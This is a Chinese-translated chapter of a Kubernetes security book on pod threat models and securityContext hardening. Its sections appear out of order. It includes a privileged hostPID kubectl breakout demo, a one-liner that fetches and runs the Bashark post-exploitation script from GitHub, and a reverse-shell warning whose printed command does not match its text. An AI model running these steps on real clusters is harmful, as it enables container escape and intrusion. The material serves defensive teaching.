  • CVE-2020-14386 是一个需要 CAP_NET_RAW 的非特权内存破坏漏洞。

  • CVE-2021-30465runc 挂载目标符号链接交换到 rootfs 外部的挂载,受未授权用户的限制。

  • CVE-2021-22555 是一个 Netfilter 堆溢出写,需要 CAP_NET_RAW

  • CVE-2021-31440eBPF 对 Linux 内核的越界访问,需要 root 或 CAP_BPFCAP_SYS_MODULE

  • @andreyknvl 内核漏洞和 core_pattern 逃逸

当没有分裂时,仍然需要根能力来执行其他攻击,比如通过 IPv6 伪造路由广告进行的 Kubernetes CNI 插件中间人攻击 CVE-2020-10749

提示

优秀的 “A Compendium of Container Escapes” 在这些攻击方面提供了更详细的信息。

我们在 “Runtime Policies” 中枚举了一个 pod 的 securityContext 的可用选项,以保护自己免受敌对容器的攻击。

Pod 服务账户

服务账户是 JSON Web Tokens(JWT),由 pod 用于 API 服务器的身份验证和授权。默认服务账户不应被赋予任何权限,并且默认情况下不具备任何授权。

一个 pod 的 serviceAccount 配置定义了其与 API 服务器的访问权限;详细信息请参见 “Service accounts”。服务账户被挂载到所有 pod 副本中,并共享单个的 “工作负载身份”:

  serviceAccount: default
  serviceAccountName: default

通过这种方式分离职责,减少了 pod 被攻击后的爆炸半径:限制入侵后的攻击者是策略控制的主要目标。

调度器和容忍性

调度器负责将 pod 工作负载分配给节点。其运行如下:

  schedulerName: default-scheduler
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300

敌对的调度器可能会从集群中渗透数据或工作负载,但需要先攻陷集群才能将其添加到控制平面。更容易的方式是调度一个特权容器并根据控制平面的 kubelets 获取根权限。

Pod 卷定义

这里我们使用了一个绑定的服务账户令牌,以 YAML 格式定义为投影式服务账户令牌(而不是标准服务账户)。kubelet 定期旋转它来防止外泄(每 3600 秒,或一个小时),所以如果被窃取,它的使用是有限的。攻击者持久存在时仍然能够使用这个值,并且可以在旋转后观察到其值,因此这只在攻击完成后保护服务账户:

  volumes:
  - name: kube-api-access-p282h
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3600
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace

卷对于攻击者来说是潜在数据的丰富来源,您应确保正确配置诸如自主访问控制(DAC,例如文件和权限)等标准安全实践。

提示

下行 API 将 Kubernetes 级别的值映射到 Pod 中的容器中,用于公开诸如 Pod 名称、命名空间、UID 以及标签和注释等内容。它的功能在文档中列出

一个容器仅仅是 Linux,不会保护其工作负载免受配置错误的影响。

Pod 网络状态

关于 Pod 的网络信息对于调试没有服务的容器或者不按预期响应的容器非常有用,但攻击者可能利用这些信息直接连接到 Pod,而无需扫描网络:

status:
  hostIP: 10.0.1.3
  phase: Running
  podIP: 192.168.155.130
  podIPs:
  - ip: 192.168.155.130

正确使用 securityContext

如果未配置或者权限过于宽松,Pod 更有可能受到威胁。securityContext 是防止容器越界的最有效工具。

在成功对运行中的 Pod 进行远程代码执行(RCE)之后,securityContext 是你可用的第一行防御配置。它可以访问可以单独设置的内核开关。还可以配置额外的 Linux 安全模块,以细化策略防止恶意应用程序利用系统。

Docker 的 containerd 默认具有 seccomp 配置文件,通过阻止内核中的系统调用,防止了对容器运行时的一些零日攻击。从 Kubernetes v1.22 开始,您应该通过--seccomp-default kubelet 标志默认启用此配置。在某些情况下,工作负载可能无法使用默认配置文件运行:可观察性或安全工具可能需要低级别的内核访问。这些工作负载应编写自定义的 seccomp 配置文件(而不是将它们运行为Unconfined,这允许任何系统调用)。

这里有一个从主机文件系统/var/lib/kubelet/seccomp加载的细粒度seccomp配置文件的示例:

  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: profiles/fine-grained.json

seccomp 是用于系统调用的,但 SELinux 和 AppArmor 也可以在用户空间监视和执行策略,保护文件、目录和设备。

SELinux 配置能够阻止大多数容器越界攻击(除非使用基于标签的文件系统和进程访问方法),因为它不允许容器写入任何位置,除了它们自己的文件系统,也不允许读取其他目录,并且在 OpenShift 和 Red Hat Linux 上默认启用。

在基于 Debian 的 Linux 中,AppArmor 同样可以监视和防止许多攻击。如果启用了 AppArmor,则cat /sys/module/apparmor/parameters/enabled 返回 Y,并且可以在 Pod 定义中使用:

annotations:
  container.apparmor.security.beta.kubernetes.io/hello: localhost/k8s-apparmor-example-deny-write

Liz Rice 称 privileged 标志为“计算历史上最危险的标志”,但为什么特权容器如此危险?因为它们使进程命名空间保持启用,从而产生容器化的幻觉,但实际上禁用了所有安全功能。

“特权”是特定的 securityContext 配置:除进程命名空间外,所有配置都已禁用,虚拟文件系统已解除掩码,LSM 已禁用,并且授予了所有权限。

作为非 root 用户运行且设置 AllowPrivilegeEscalationfalse 可有效防止许多特权升级:

spec:
  containers:
  - image: controlplane/hack
    securityContext:
      allowPrivilegeEscalation: false

安全上下文的粒度意味着必须测试配置的每个属性,以确保它未设置:作为防御者通过配置准入控制和测试 YAML,或作为攻击者在运行时使用动态测试(或 amicontained)。

提示

我们将在本章后面探讨如何检测容器内的特权。

与主机共享命名空间还会降低容器的隔离性并使其面临更大的潜在风险。任何挂载的文件系统实际上都增加了挂载命名空间。

确保您的 pod 的 securityContext 设置正确,您的系统将更安全地抵御已知攻击。

通过 Kubesec 增强 securityContext

Kubesec 是一个验证 Kubernetes 资源安全性的简单工具。

它为资源返回一个风险评分,并建议如何加强 securityContext(请注意,我们已编辑输出以适应):


$ cat <<EOF > kubesec-test.yaml
apiVersion: v1
kind: Pod
metadata:
 name: kubesec-demo
spec:
 containers:
 - name: kubesec-demo
 image: gcr.io/google-samples/node-hello:1.0
 securityContext:
 readOnlyRootFilesystem: true
EOF

$ docker run -i kubesec/kubesec:2.11.1 scan - < kubesec-test.yaml
[ {
 "object": "Pod/kubesec-demo.default",
 "valid": true,
 "fileName": "STDIN",
 "message": "Passed with a score of 1 points",
 "score": 1,
 "scoring": {
   "passed": [{
      "id": "ReadOnlyRootFilesystem",
        "selector": "containers[].securityContext.readOnlyRootFilesystem == true",
        "reason": "An immutable root filesystem can ... increase attack cost",
        "points": 1
        }
    ],
    "advise": [{
      "id": "ApparmorAny",
      "selector": ".metadata.annotations.container.apparmor.security.beta.kubernetes.io/nginx",
      "reason": "Well defined AppArmor ... WARNING: NOT PRODUCTION READY",
      "points": 3
    },
...

Kubesec.io 记录了对您的 securityContext 进行实际更改的详细说明,我们将在这里记录其中一些。

提示

Shopify 出色的 kubeaudit 为集群中的所有资源提供类似功能。

加固的 securityContext

NSA 发布了 “Kubernetes 硬化指南”,建议采用一组加固的 securityContext 标准。它建议扫描漏洞和错误配置,最小特权,良好的 RBAC 和 IAM,网络防火墙和加密,“定期审查所有 Kubernetes 设置,并使用漏洞扫描来确保适当地考虑风险并应用安全补丁”。

将 pod 中容器的最小特权分配给 securityContext 是一个责任(详细信息见 表 2-2)。请注意,我们在 “运行时策略” 中讨论的 PodSecurityPolicy 资源映射到 securityContext 中可用的配置标志。

表 2-2. securityContext 字段

字段名 使用 建议
privileged 控制 pod 是否可以运行特权容器。 设置为 false
hostPIDhostIPC 控制容器是否可以共享主机进程命名空间。 设置为 false
hostNetwork 控制容器是否可以使用主机网络。 设置为 false
allowedHostPaths 限制容器只能访问主机文件系统中的特定路径。 使用“虚拟”路径名(如 /foo 设为只读)。如果省略此字段,则不会对容器施加任何准入限制。
readOnlyRootFilesystem 要求使用只读根文件系统。 在可能的情况下设置为 true
runAsUser, runAsGroup, supplementalGroups, fsGroup 控制容器应用程序是否可以以 root 特权或 root 组成员身份运行。 runAsUser 设置为 MustRunAsNonRoot。将 runAsGroup 设置为 nonzero。将 supplementalGroups 设置为 nonzero。将 fsGroup 设置为 nonzero
allowPrivilegeEscalation 限制特权升级到 root 权限。 设置为 false。这一措施是为了有效实施 runAsUser: MustRunAsNonRoot 设置。
SELinux 设置容器的 SELinux 安全上下文。 如果环境支持 SELinux,请考虑添加 SELinux 标签以进一步加固容器。
AppArmor 注解 设置容器使用的 AppArmor 配置文件。 在可能的情况下,通过使用 AppArmor 来限制容器应用程序的利用。
seccomp 注解 设置容器使用的 seccomp 沙箱配置文件。 在可能的情况下,使用 seccomp 审计配置文件来识别应用程序运行所需的系统调用;然后启用一个 seccomp 配置文件来阻止所有其他系统调用。

让我们使用 kubesec 静态分析工具更详细地探索这些内容,以及它用于查询您的 Kubernetes 资源的选择器。

containers[] .securityContext .privileged

一个运行特权容器可能会给您的安全团队带来糟糕的一天。特权容器禁用了除 process 外的所有命名空间和 LSM(Linux 安全模块),授予了所有的 capabilities,通过 /dev 暴露了主机的设备,并且通常会因为默认配置不安全。这是攻击者在新受损的 Pod 中寻找的第一件事情。

.spec .hostPID

hostPID 允许通过 /proc 文件系统从容器遍历到主机,该文件系统链接到其他进程的根文件系统。为了读取主机的进程命名空间,还需要 privileged 权限:

user@host $ OVERRIDES='{"spec":{"hostPID": true,''"containers":[{"name":"1",' user@host $ OVERRIDES+='"image":"alpine","command":["/bin/ash"],''"stdin": true,' user@host $ OVERRIDES+='"tty":true,"imagePullPolicy":"IfNotPresent",' user@host $ OVERRIDES+='"securityContext":{"privileged":true}}]}}' 
user@host $ kubectl run privileged-and-hostpid --restart=Never -it --rm \
 --image noop --overrides "${OVERRIDES}" ![1](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/1.png)

/ # grep PRETTY_NAME /etc/*release* ![2](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/2.png)
PRETTY_NAME="Alpine Linux v3.14" 
/ # ps faux | head ![3](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/3.png)
PID   USER     TIME  COMMAND
 1 root      0:07 /usr/lib/systemd/systemd noresume noswap cros_efi 2 root      0:00 [kthreadd] 3 root      0:00 [rcu_gp] 4 root      0:00 [rcu_par_gp] 6 root      0:00 [kworker/0:0H-kb] 9 root      0:00 [mm_percpu_wq] 10 root      0:00 [ksoftirqd/0] 11 root      1:33 [rcu_sched] 12 root      0:00 [migration/0] 
/ # grep PRETTY_NAME /proc/1/root/etc/*release ![4](https://github.com/OpenDocCN/ibooker-devops-zh/raw/master/docs/hck-k8s/img/4.png)
/proc/1/root/etc/os-release:PRETTY_NAME="Container-Optimized OS from Google"

1

启动一个特权容器并共享主机进程命名空间。

2

作为容器中的 root 用户,检查容器的操作系统版本。

3

验证我们位于主机的进程命名空间中(我们可以看到 PID 1 和内核辅助进程)。

4

检查容器内部 /proc 文件系统中的分发版本,以了解主机的发行版版本。这是因为 PID 命名空间与主机共享。

注意

如果没有 privileged 权限,容器中的 root 用户无法访问主机的进程命名空间:

/ $ grep PRETTY_NAME /proc/1/root/etc/*release*
grep: /proc/1/root/etc/*release*: Permission denied

在这种情况下,攻击者仅限于根据其 UID 的权限搜索文件系统或内存,寻找关键材料或敏感数据。

.spec .hostNetwork

主机网络访问允许我们嗅探流量或在主机适配器上发送虚假流量(但仅在我们有权限和启用了 CAP_NET_RAWCAP_NET_ADMIN 时),并规避网络策略(这取决于来自 Pod 网络命名空间中预期源 IP 的流量)。

它还授予访问绑定到主机环回适配器(根网络命名空间中的 localhost)的服务的权限,传统上这被视为安全边界。尽管 Kubernetes 的 API 服务器在 v1.10 中弃用并在 v1.20 中最终移除了此模式,但 SSRF 攻击仍可能存在。

.spec .hostAliases

允许 Pod 覆盖其本地的 /etc/hosts 文件。这可能会比安全意义更多地影响操作(比如不能及时更新导致中断)。

.spec .hostIPC

使 Pod 访问主机的进程间通信命名空间,从而可能干扰主机上的受信任进程。这很可能会通过 /usr/bin/ipcs 或共享内存中的文件实现简单的主机 ompromise。

containers[] .securityContext .runAsNonRoot

在 Linux 系统中,root 用户拥有特殊权限,尽管在容器内权限被减小,但内核代码仍然会特别对待 root 用户。

阻止 root 用户拥有容器内的进程是一项简单有效的安全措施。它防止了本书列出的许多容器越界攻击,并符合标准和已建立的 Linux 安全实践。

containers[] .securityContext .runAsUser > 10000

除了阻止 root 运行进程外,强制容器化进程使用高 UID 降低了在没有用户命名空间的情况下越界的风险:如果容器中的用户(例如 12345)在主机上有相同的 UID(即也是 12345),并且容器中的用户通过挂载卷或共享命名空间能够访问它们,则资源可能会意外共享,从而允许容器越界(例如文件系统权限和授权检查)。

containers[] .securityContext .readOnlyRootFilesystem

不可变性不是安全边界,因为代码可以从互联网下载并由解释器(如 Bash、PHP 和 Java)运行,而不使用文件系统,正如 bashark 后渗透工具所示:

root@r00t:/tmp [0]# source <(curl -s \
  https://raw.githubusercontent.com/redcode-labs/Bashark/master/bashark.sh)

__________               .__                  __               ________     _______
\______   \_____    _____|  |__ _____ _______|  | __ ___  __   \_____  \    \   _  \
 |    |  _/\__  \  /  ___/  |  \\__  \\_  __ \  |/ / \  \/ /    /  ____/    /  /_\  \
 |    |   \ / __ \_\___ \|   Y  \/ __ \|  | \/    <   \   /    /       \    \  \_/   \
 |______  /(____  /____  >___|  (____  /__|  |__|_ \   \_/ /\  \_______ \ /\ \_____  /
        \/      \/     \/     \/     \/           \/       \/          \/ \/       \/

[*] Type 'help' to show available commands

bashark_2.0$

/tmp/dev/shm 这样的文件系统位置可能会始终可写,以支持应用程序行为,因此只读文件系统不能作为安全边界。不可变性可以防止一些恶意和自动化攻击,但不能作为坚固的安全边界。

诸如falcotracee之类的入侵检测工具可以检测到容器中生成的新 Bash shell(或任何未列入白名单的应用程序)。此外,tracee还可以通过监视/proc/pid/maps中曾经可写但现在可执行的内存,检测到试图通过内存执行的恶意软件。

注意

我们将在第九章中更详细地讨论 Falco。

containers[] .securityContext .capabilities .drop | index(“ALL”)

您应始终放弃所有功能,并仅重新添加应用程序运行所需的那些功能。

containers[] .securityContext .capabilities .add | index(“SYS_ADMIN”)

此能力的存在是一个警示信号:尝试找到其他部署容器的方法,或者部署到具有自定义安全规则的专用命名空间中,以限制妥协的影响。

containers[] .resources .limits .cpu, .memory

限制容器可用内存的总量可以防止拒绝服务攻击将主机机器挤垮,因为容器会首先终止。

containers[] .resources .requests .cpu, .memory

请求资源有助于调度程序有效地“装箱”资源。过度请求资源可能是对手试图将新 Pod 调度到其控制的另一节点的尝试。

.spec .volumes[] .hostPath .path

可写的/var/run/docker.sock主机挂载允许突破到主机。攻击者可以将符号链接写入任何文件系统,这些文件系统容易受到漏洞,攻击者可以利用该路径来探索和从主机中渗透。

进入风暴眼

船长和船员进行了一次徒劳的袭击,但这并非他们的最后一次逃亡活动。

随着我们在这本书中的进展,我们将看到 Kubernetes Pod 组件如何与更广泛的系统交互,我们将见证 Hashjack 船长为利用它们而努力。

结论

为了安全地使用 Pod,需要对多个层次的配置进行保护,而您运行的工作负载是 Kubernetes 安全性的软肚腩。

Pod 是集群中的第一道防线,也是保护集群最重要的部分。应用程序代码经常变动,可能成为潜在的可利用漏洞源。

扩展锚和链的比喻,一个集群的强壮程度取决于其最弱的环节。为了能够被证明是安全的,您必须在流水线和准入控制中使用健壮的配置测试、预防性控制和策略,以及运行时入侵检测 —— 因为没有什么是绝对可靠的。

第二章:Pod 级资源

本章涉及 Kubernetes 部署的原子单位:Pod。Pod 运行应用程序,一个应用程序可以是一个或多个容器在一个或多个 Pod 中协作。

我们将考虑 Pod 内外可能发生的不良情况,并探讨如何减少被攻击的风险。

与任何合理的安全工作一样,我们将从为系统定义一个轻量级威胁模型开始,确定它所防范的威胁行为者,并强调最危险的威胁。这为您制定对策和控制措施,采取防御措施以保护客户的宝贵数据提供了坚实的基础。

我们将深入探讨 Pod 的安全模型,看看默认情况下哪些是可信的,我们可以通过配置加强安全性,以及攻击者的路径是什么样的。

默认设置

Kubernetes 在历史上并没有默认安全强化,有时这可能导致特权升级或容器突破。

如果我们放大单个 Pod 与主机之间的关系,如 图 2-1 所示,我们可以看到 kubelet 为容器提供的服务以及可能将对手阻挡在外的安全边界。

默认情况下,大部分都以最低特权合理配置,但用户提供的配置更普遍时(如 Pod YAML、集群策略、容器镜像),就会有更多意外或恶意误配置的机会。大多数默认值是合理的——本章中我们将向您展示它们的不足,并演示如何测试您的集群和工作负载是否安全配置。

Pod 架构

图 2-1. Pod 架构

威胁模型

我们为每个威胁模型定义一个范围。在这里,您正在对 Pod 进行威胁建模。让我们首先考虑 Kubernetes 威胁的一个简单组:

网络上的攻击者

敏感端点(如 API 服务器)如果公开,可以轻易遭受攻击。

受损应用程序导致容器内的立足点

被攻击的应用程序(远程代码执行、供应链妥协)是攻击的开始。

建立持久性

窃取凭据或获得对 Pod、节点和/或容器重启具有韧性的持久性。

恶意代码执行

运行利用程序进行枢轴或升级并枚举端点。

访问敏感数据

从 API 服务器、附加存储和可通过网络访问的数据存储读取机密数据。

服务拒绝

很少是攻击者的时间的好用法。钱包拒绝和加密锁定是常见的变体。

提示

“先前的艺术” 中的威胁源具有其他负面结果可供参考。

攻击解剖学

captain

Hashjack 船长通过枚举 BCTL 的 DNS 子域和 S3 存储桶开始了对您系统的攻击。这些可能为组织的系统提供了一个简单的入口,但在这个场合上,并没有什么容易被利用的。

他们不屈不挠地在公共网站上创建了一个帐户并登录,使用像zaproxy(OWASP Zed Attack Proxy)这样的 Web 应用程序扫描器来探查 API 调用和应用程序代码的意外响应。他们在寻找泄漏的 Web 服务器标语和版本信息(以了解可能成功的利用)以及通常注入和模糊 API 以处理不当处理的用户输入。

这并非您的维护不善的代码库和系统能够长期经受的审查水平。攻击者可能在大海捞针,但只有最安全的干草堆根本没有针。

注意

任何计算机都应该对这种不加选择的攻击类型保持抵抗力:一个 Kubernetes 系统应该通过能力来保护自己免受普通攻击,并使用最新的软件和加固的配置达到“最小可行安全性”。Kubernetes 通过支持最后三个次要版本发布(例如,1.24、1.23 和 1.22),每 4 个月发布一次,确保一年的补丁支持,鼓励定期更新。旧版本不受支持,可能存在漏洞。

尽管攻击的许多部分可以自动化进行,但这是一个复杂的过程。一个普通的攻击者更可能广泛扫描触发已发布 CVE 的软件路径,并对大范围的 IP 地址(如公共云提供商广告的范围)运行自动化工具和脚本。这些方法很喧闹。

远程代码执行

如果您的应用程序中存在漏洞可以用来运行不受信任的(在这种情况下,是外部的)代码,则称为远程代码执行(RCE)。对手可以使用 RCE 生成一个远程控制会话到应用程序的环境:在这里,是处理网络请求的容器,但如果 RCE 成功将不受信任的输入传递到系统更深层,它可能利用不同的进程、Pod 或集群。

您在 Kubernetes 和 Pod 安全的首要目标应是防止 RCE,这可能就像一个 kubectl exec 那样简单,或者像反向 shell 那样复杂,例如图 2-2 中演示的。

haku 0202

图 2-2. 反向 shell 进入 Kubernetes Pod

应用程序代码经常发生变化,并可能隐藏未发现的错误,因此强大的应用程序安全(AppSec)实践(包括工具的 IDE 和 CI/CD 集成以及专用安全要求作为任务验收标准)对于防止攻击者威胁到运行在 Pod 中的进程至关重要。

注意

Java 框架 Struts 是最广泛部署的库之一,曾经遭受过远程可利用的漏洞 (CVE-2017-5638),这导致了 Equifax 客户数据的泄露。为了修复容器中这样的供应链漏洞,可以在 CI 中快速重建并部署带有补丁的库,从而减少容易受到互联网攻击的脆弱库的风险窗口。我们在全书中探讨其他获得远程代码执行的方式。

现在,让我们转向网络方面。

网络攻击面

Kubernetes 集群的最大攻击面是其网络接口和面向公众的 pod。网络接口服务,如 web 服务器,在保持集群安全性方面是第一道防线,这是我们将在 第五章 中深入探讨的话题。

这是因为从网络跨界而来的未知用户可以扫描面向网络的应用程序,以查找远程代码执行的可利用迹象。他们可以使用自动化网络扫描工具尝试利用已知漏洞和输入处理错误在面向网络的代码中。如果一个进程或系统被迫以意外的方式运行,那么通过这些未经测试的逻辑路径可能会被攻击。

要了解攻击者如何仅仅通过谦逊而强大的 Bash shell 在远程系统中建立立足点的例子,请参见 Paul Troncone 和 Carl Albing 的 Cybersecurity Ops with bash 第十六章。

要抵御这种情况,我们必须扫描容器中的操作系统和应用程序 CVE,希望在它们被利用之前更新它们。

如果 Hashjack 队长能够在一个 pod 中实现 RCE,那么这是从 pod 的网络位置和权限设置更深入地攻击系统的立足点。您应该努力限制攻击者可以从此位置做的事情,并根据工作负载的敏感性定制您的安全配置。如果您的控制过于宽松,这可能是您雇主 BCTL 组织范围内的一次漏洞起源。

提示

要了解通过 Struts 和 Metasploit 生成 shell 的示例,请参阅 Sam Bowne 的指南

正如 Dread Pirate Hashjack 刚刚发现的那样,我们还在运行一个容易受攻击的 Struts 库版本。这为从内部攻击集群提供了一个机会。

警告

像这样一个简单的 Bash 反向 shell 是移除容器中 Bash 的一个好理由。它使用了 Bash 的虚拟 /dev/tcp/ 文件系统,并且在 sh 中是不可利用的,因为它不包括这个经常被滥用的功能:

user@host:~ [0]$ docker run -it --runtime=runsc sublimino/hack \
  ls -lasp /proc/1

total 0
0 dr-xr-xr-x 1 root root 0 May 23 16:22 ./
0 dr-xr-xr-x 2 root root 0 May 23 16:22 ../
0 -r--r--r-- 0 root root 0 May 23 16:22 auxv
0 -r--r--r-- 0 root root 0 May 23 16:22 cmdline
0 -r--r--r-- 0 root root 0 May 23 16:22 comm
0 lrwxrwxrwx 0 root root 0 May 23 16:22 cwd -> /root
0 -r--r--r-- 0 root root 0 May 23 16:22 environ
0 lrwxrwxrwx 0 root root 0 May 23 16:22 exe -> /usr/bin/coreutils
0 dr-x------ 1 root root 0 May 23 16:22 fd/
0 dr-x------ 1 root root 0 May 23 16:22 fdinfo/
0 -rw-r--r-- 0 root root 0 May 23 16:22 gid_map
0 -r--r--r-- 0 root root 0 May 23 16:22 io
0 -r--r--r-- 0 root root 0 May 23 16:22 maps
0 -r-------- 0 root root 0 May 23 16:22 mem
0 -r--r--r-- 0 root root 0 May 23 16:22 mountinfo
0 -r--r--r-- 0 root root 0 May 23 16:22 mounts
0 dr-xr-xr-x 1 root root 0 May 23 16:22 net/
0 dr-x--x--x 1 root root 0 May 23 16:22 ns/
0 -r--r--r-- 0 root root 0 May 23 16:22 oom_score
0 -rw-r--r-- 0 root root 0 May 23 16:22 oom_score_adj
0 -r--r--r-- 0 root root 0 May 23 16:22 smaps
0 -r--r--r-- 0 root root 0 May 23 16:22 stat
0 -r--r--r-- 0 root root 0 May 23 16:22 statm
0 -r--r--r-- 0 root root 0 May 23 16:22 status
0 dr-xr-xr-x 3 root root 0 May 23 16:22 task/
0 -rw-r--r-- 0 root root 0 May 23 16:22 uid_map

攻击开始时,让我们看看海盗们已经登陆的地方:在一个 Kubernetes pod 内部。

Kubernetes 工作负载:Pod 中的应用程序

多个协作容器可以逻辑上分组成一个单独的 pod,Kubernetes 运行的每个容器必须在一个 pod 内运行。有时一个 pod 被称为“工作负载”,这是相同执行环境的许多副本之一。每个 pod 必须运行在 Kubernetes 集群中的一个节点上,如图 2-3 所示。

一个 pod 是您的应用程序的单个实例,为了满足需求进行扩展,使用许多相同的 pod 来复制应用程序,通过工作负载资源(如 Deployment、DaemonSet 或 StatefulSet)。

您的 pods 可能包括支持监控、网络和安全性的 sidecar 容器,以及用于 pod 引导的“init”容器,使您能够部署不同的应用程序样式。这些 sidecars 可能具有提升的特权,并且可能引起对手的兴趣。

“Init”容器按顺序运行(从头到尾),以设置 pod 并可以对命名空间进行安全更改,例如 Istio 的 init 容器会配置 pod 的 iptables(内核的 netfilter),以便运行时(非 init 容器)的 pods 通过 sidecar 容器路由流量。Sidecars 与 pod 中的主要容器并行运行,pod 中的所有非 init 容器同时启动。

集群部署示例

图 2-3. 集群部署示例;来源:Kubernetes 文档

一个 pod 的内部有什么?云原生应用程序通常是微服务、Web 服务器、工作者和批处理过程。一些 pods 运行一次性任务(包装在作业中,或者可能是一个单一的非重启容器),也许运行多个其他 pods 以协助。所有这些 pods 都为攻击者提供了机会。Pods 被黑客攻击。或者更常见的是,一个面向网络的容器进程被黑客攻击。

一个 pod 是一个信任边界,包括内部的所有容器,包括它们的身份和访问权限。在威胁建模时,应考虑 pod 的整个内容,尽管可以通过策略配置增强 pod 之间的分离。

小贴士

Kubernetes 是一个分布式系统,操作的顺序(例如应用多文档 YAML 文件)是最终一致的,这意味着 API 调用并不总是按照您期望的顺序完成。顺序依赖于各种因素,不应依赖于其顺序完成。Tabitha Sable 对 Kubernetes 有一个机械共鸣的定义。

tabby sable

什么是 Pod?

如图 2-4 所示,一个 pod 是 Kubernetes 的一种创新。它是多个容器运行的环境。Pod 是您可以要求 Kubernetes 运行的最小可部署单元,其中的所有容器将在同一个节点上启动。Pod 有自己的 IP 地址,可以挂载存储,并且其命名空间围绕由容器运行时(如 containerd 或 CRI-O)创建的容器。

示例 pods

图 2-4. 示例 pods(来源:Kubernetes 文档

容器是一个迷你 Linux,其进程通过控制组(cgroups)进行容器化以限制资源使用,并通过命名空间限制访问。我们将在本章中看到,可以应用各种其他控制来限制容器化进程的行为。

Pod 的生命周期由 kubelet 控制,它是 Kubernetes API 服务器的代理,部署在集群中的每个节点上以管理和运行容器。如果 kubelet 与 API 服务器失去联系,它将继续管理其工作负载,并在必要时重新启动它们。如果 kubelet 崩溃,容器管理器也将保持容器运行,以防止它们崩溃。kubelet 和容器管理器监督您的工作负载。

kubelet 在工作节点上运行 pod,指导容器运行时并配置网络和存储。每个 pod 中的容器是 Linux 命名空间、cgroups、功能和 Linux 安全模块(LSM)的集合。当容器运行时构建容器时,每个命名空间都会被单独创建和配置,然后组合成容器。

Tip

功能是“特殊”根用户操作的单独开关,例如更改任何文件的权限、将模块加载到内核中、以原始模式访问设备(例如网络和 I/O)、BPF 和性能监控,以及所有其他操作。

root 用户拥有所有功能,并且功能可以授予任何进程或用户(“环境功能”)。过多的功能授予可能导致容器突破,正如本章后面所见。

在 Kubernetes 中,容器运行时将新创建的容器添加到 pod 中,其中它与 pod 容器之间共享网络和进程间通信命名空间。

图 2-5 显示一个 kubelet 在单个节点上运行四个独立的 pod。

容器是对抗敌人的第一道防线,应在运行之前扫描容器镜像中的 CVEs。这一简单步骤减少了运行过时或恶意容器的风险,并影响您基于风险的部署决策:您是否将其部署到生产环境,还是需要先修补可利用的 CVE?

节点上的示例 pod

图 2-5. 节点上的示例 pod(来源:Kubernetes 文档
Tip

公共注册表中的“官方”容器镜像更有可能保持最新并得到良好的修补,Docker Hub 通过 Notary 签署所有官方镜像,如我们将在第四章中看到的那样。

公共容器注册表通常托管恶意镜像,因此在生产之前检测它们至关重要。图 2-6 显示了这种情况可能发生的方式。

kubelet将 pod 连接到容器网络接口 (CNI)。CNI 网络流量被视为第 4 层 TCP/IP(尽管 CNI 插件使用的底层网络技术可能不同),加密是 CNI 插件、应用程序、服务网格或最少是节点之间的底层网络的工作。如果流量未加密,可能会被受损的 pod 或节点嗅探到。

中毒公共容器注册表

图 2-6. 毒害公共容器注册表
警告

尽管在正确配置的容器运行时下启动恶意容器通常是安全的,但曾经发生过针对容器引导阶段的攻击。我们将在本章后面审查/proc/self/exe越狱 CVE-2019-5736。

Pod 也可以通过 Kubernetes 附加存储,使用(容器存储接口 (CSI)),其中包括 PersistentVolumeClaim 和 StorageClass,显示在图 2-7 中。在第六章中,我们将更深入地探讨存储方面的内容。

在图 2-7 中,您可以看到控制平面的视图和 API 服务器在集群中的核心角色。API 服务器负责与集群数据存储(etcd)交互,托管集群的可扩展 API 表面,并管理kubelet。如果 API 服务器或etcd实例受到 compromisation,攻击者将完全控制集群:这些是系统中最敏感的部分。

集群示例 2

图 2-7. 集群示例 2 (来源: Tsuyoshi Ushio)
警告

存储驱动中发现了多个漏洞,包括暴露了对gitrepo存储卷的 Git 攻击的 CVE-2018-11235,以及子路径卷挂载处理错误的 CVE-2017-1002101。我们将在第六章中详细讨论这些问题。

对于较大集群的性能,控制平面应在单独的基础设施上运行etcd,这需要高磁盘和网络 I/O 以支持其分布式一致性算法Raft的合理响应时间。

由于 API 服务器是etcd集群的唯一客户端,因此任何一方的妥协都将有效地使集群受到限制:由于异步调度,在 Kubernetes 中,向etcd注入恶意的未调度的 pod 将触发它们的调度到一个kubelet

与所有快速移动的软件一样,Kubernetes 堆栈的大部分部分都存在漏洞。对现代软件的唯一解决方案是健康的持续集成基础设施,能够在漏洞公告后及时重新部署受损的集群。

理解容器

好的,我们已经对集群有了一个高层次的视图。但在低层次上,“容器”是什么?它是 Linux 的微观世界,为一个进程提供了一个专用内核、网络和用户空间的幻觉。软件技巧让容器内的进程相信它是在主机上唯一运行的进程。这对于隔离和将现有工作负载迁移到 Kubernetes 中是有用的。

注意

正如Christian BraunerStéphane Graber喜欢说的,“(Linux)容器是一个用户空间的虚构”,一个配置集合,向内部进程呈现隔离的幻觉。容器起源于原始的内核汤,是演化的产物,而不是智能设计的产物,已经被改变、完善和强迫成形,以至于我们现在有了可用的东西。

容器并不是作为单一的 API、库或内核特性存在的。它们只是在内核启动一组命名空间、配置一些cgroups和功能、添加 Linux 安全模块如 AppArmor 和 SELinux,并在内部启动我们珍贵的小进程后剩下的捆绑和隔离结果。

一个容器是一个在特殊环境中的进程,具有一些命名空间的组合,这些命名空间可以启用或与主机(或其他容器)共享。该进程来自一个容器镜像,一个包含容器根文件系统、其应用程序和任何依赖项的 TAR 文件。当镜像被解压到主机上的一个目录中并创建一个特殊的文件系统“pivot root”时,一个“容器”就围绕它构建起来,并且从容器内的文件系统中运行其ENTRYPOINT。这大致是一个容器启动的方式,一个 pod 中的每个容器都必须经历这个过程。

容器安全有两个部分:容器镜像的内容,以及其运行时配置和安全上下文。一个容器的抽象风险评级可以从它启用和安全使用的安全原语数量中得出,避免使用主机命名空间,通过cgroups限制资源使用,放弃不需要的功能,为进程的使用模式加强安全模块配置,并最小化进程和文件系统的所有权和内容。Kubesec.io 根据运行时如何有效地启用这些功能来评估 pod 配置的安全性。
